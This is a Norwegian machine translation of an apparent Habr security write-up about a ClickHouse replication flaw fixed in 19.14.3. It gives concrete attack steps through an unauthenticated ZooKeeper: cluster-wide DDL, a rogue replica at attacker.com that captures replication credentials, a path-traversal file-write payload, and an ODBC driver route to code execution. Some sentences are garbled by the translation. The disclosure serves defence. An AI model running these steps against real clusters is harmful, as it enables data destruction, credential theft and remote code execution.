Denne artikkelen vil fortelle historien om en veldig spesifikk sårbarhet i ClickHouse-replikeringsprotokollen, og vil også vise hvordan angrepsoverflaten kan utvides.
ClickHouse er en database for lagring av store datamengder, som oftest bruker mer enn én replika. Clustering og replikering i ClickHouse er bygget på toppen
Standard ZK-installasjonen krever ikke autentisering, så tusenvis av ZK-servere som brukes til å konfigurere Kafka, Hadoop, ClickHouse er offentlig tilgjengelige.
For å redusere angrepsoverflaten bør du alltid konfigurere autentisering og autorisasjon når du installerer ZooKeeper
Det er selvfølgelig noen 0day-baserte Java-deserialiseringer, men forestill deg at en angriper kan lese og skrive til ZooKeeper, brukt til ClickHouse-replikering.
Når konfigurert i klyngemodus, støtter ClickHouse distribuerte spørringer /clickhouse/task_queue/ddl
.
For eksempel oppretter du en node /clickhouse/task_queue/ddl/query-0001
med innhold:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
og etter det vil testtabellen bli slettet på klyngeserverne host1 og host2. DDL støtter også kjøring av CREATE/ALTER/DROP-spørringer.
Høres skummelt ut? Men hvor kan en angriper få serveradresser?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
noder vil bli opprettet kolonner и metadata.
Innhold /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Er det mulig å slå sammen data fra denne klyngen? Ja, hvis replikeringsporten (TCP/9009
) på serveren chXX-address
brannmuren vil ikke bli lukket og autentisering for replikering vil ikke bli konfigurert. Hvordan omgå autentisering?
En angriper kan lage en ny replika i ZK ved ganske enkelt å kopiere innholdet fra /clickhouse/tables/01-01/foobar/replicas/chXX
og endre betydningen host
.
Innhold /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Deretter må du fortelle de andre replikaene at det er en ny blokk med data på angriperens server som de må ta - en node opprettes i ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monotont voksende teller, som skal være større enn den siste i hendelsesloggen):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
der kilde_replika – navnet på angriperens replika opprettet i forrige trinn, block_id – datablokkidentifikator, få - "get block" kommando (og
Deretter leser hver replika en ny hendelse i loggen og går til en server kontrollert av angriperen for å motta en blokk med data (replikeringsprotokollen er binær, kjører på toppen av HTTP). Server attacker.com
vil motta forespørsler:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
der XXX er autentiseringsdataene for replikering. I noen tilfeller kan dette være en konto med tilgang til databasen via hoved-ClickHouse-protokollen og HTTP-protokollen. Som du har sett, blir angrepsoverflaten kritisk stor fordi ZooKeeper, brukt til replikering, ble stående uten autentisering konfigurert.
La oss se på funksjonen for å få en blokk med data fra en replika, det er skrevet med full tillit til at alle replikaer er under riktig kontroll og det er tillit mellom dem.
replikeringsbehandlingskode
Funksjonen leser en liste over filer, deretter deres navn, størrelser, innhold, og skriver dem deretter til filsystemet. Det er verdt å beskrive separat hvordan data lagres i filsystemet.
Det er flere underkataloger i /var/lib/clickhouse
(standard lagringskatalog fra konfigurasjonsfilen):
flagg - katalog for opptak
tmp — katalog for lagring av midlertidige filer;
bruker_filer — operasjoner med filer i forespørsler er begrenset til denne katalogen (INTO OUTFILE og andre);
metadata — sql-filer med tabellbeskrivelser;
preprocessed_configs - behandlet avledede konfigurasjonsfiler fra /etc/clickhouse-server
;
dato - selve katalogen med selve dataene, i dette tilfellet for hver database opprettes ganske enkelt en egen underkatalog her (for eksempel /var/lib/clickhouse/data/default
).
For hver tabell opprettes en underkatalog i databasekatalogen. Hver kolonne er en egen fil avhengig av
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Replikaen forventer å motta filer med samme navn når den behandler en datablokk og validerer dem ikke på noen måte.
Den oppmerksomme leseren har sannsynligvis allerede hørt om den usikre sammenkoblingen av filnavn i en funksjon WriteBufferFromFile
. Ja, dette lar en angriper skrive vilkårlig innhold til en hvilken som helst fil på FS med brukerrettigheter clickhouse
. For å gjøre dette, må replikaen kontrollert av angriperen returnere følgende svar på forespørselen (linjeskift er lagt til for å lette forståelsen):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
og etter sammenkobling ../../../../../../../../../tmp/pwned
filen vil bli skrevet /tmp/pwned med innhold hellofromzookeeper.
Det er flere alternativer for å gjøre filskriving til ekstern kjøring av kode (RCE).
Eksterne ordbøker i RCE
I eldre versjoner ble katalogen med ClickHouse-innstillinger lagret med brukerrettigheter klikkhus misligholde. Innstillingsfiler er XML-filer som tjenesten leser ved oppstart og deretter cacher inn /var/lib/clickhouse/preprocessed_configs
. Når endringer skjer, leses de på nytt. Hvis du har tilgang til /etc/clickhouse-server
en angriper kan lage sin egen root
.
ODBC til RCE
Når du installerer en pakke, opprettes en bruker clickhouse
, men hjemmekatalogen er ikke opprettet /nonexistent
. Men når du bruker eksterne ordbøker, eller av andre grunner, oppretter administratorer en katalog /nonexistent
og gi brukeren clickhouse
tilgang til å skrive til den (SSZB! ca. oversetter).
ClickHouse støtter odbc-bridge
, så det er ikke lenger mulig å spesifisere driverbanen fra forespørselen. Men kan en angriper skrive til hjemmekatalogen ved å bruke sårbarheten beskrevet ovenfor?
La oss lage en fil ~/.odbc.ini
med innhold som dette:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
deretter ved oppstart SELECT * FROM odbc('DSN=lalala', 'test', 'test');
biblioteket vil bli lastet test.so
og mottok RCE (takk
Disse og andre sårbarheter er fikset i ClickHouse versjon 19.14.3. Ta vare på ClickHouse og ZooKeepers!
Kilde: www.habr.com